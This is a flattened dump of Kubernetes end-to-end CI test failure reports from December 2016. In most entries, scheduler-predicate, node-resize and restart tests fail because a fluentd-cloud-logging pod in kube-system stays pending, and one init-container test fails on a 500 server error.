https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/14033/  failed:  k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/init_container.go:274 error creating pod expected error:     < errors.statuserror | 0xc8202d0c00>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server has prevented the request from succeeding  post pods \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/namespaces/e2e-tests-init-container-042b9/pods\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server has prevented the request from succeeding  post pods  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:50

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-cluster-new/86/ multiple broken tests:  failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching with multiple affinities {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4211e0910>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  34223   failed:  k8s.io  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421287530>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  27115  28070  30747  31341  35513  37187  38340   failed:  k8s.io  schedulerpredicates  serial  validates that embedding the json nodeaffinity setting as a string in the annotation value work {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421300170>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  29816  30018  33974   failed:  k8s.io  schedulerpredicates  serial  validates that interpod affinity and antiaffinity is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421291e00>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93       failed:  k8s.io  schedulerpredicates  serial  validates that required nodeaffinity setting is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421ce1d30>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  28071   failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4220720c0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  36914   failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to delete nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:291 expected error:     < errors.errorstring | 0xc42202c790>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:288     issues about this test specifically:  27233  36204   failed:  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421fb14d0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  29516   failed:  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if not matching  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4217f5db0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  28091  38346   failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to add nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:291 expected error:     < errors.errorstring | 0xc420ff19a0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:288     issues about this test specifically:  27470  30156  34304  37620   failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid podaffinity is rejected because of the labelselectorrequirement is invalid {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421af99e0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  35279   failed:  k8s.io  schedulerpredicates  serial  validates that embedding the json podaffinity and podantiaffinity setting as a string in the annotation value work {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421e2d7d0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93       failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421630250>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  33883   failed:  k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4214ce920>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  27655  33876   failed:  k8s.io  schedulerpredicates  serial  validates maxpods limit number of pods that are allowed to run  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc42100d250>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  27662  29820  31971  32505  34221  35106  35110  35121  37509   failed:  k8s.io  schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4213832b0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  30078  30142   failed:  k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:124 dec 22 12:19:56.103: at least one pod wasn't running and ready or succeeded at test start. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:93     issues about this test specifically:  26744  26929  38552   failed:  k8s.io  schedulerpredicates  serial  validates that nodeaffinity is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4206907c0>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  28019   failed:  k8s.io  schedulerpredicates  serial  validates that inter-pod-affinity is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4225e9f90>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m 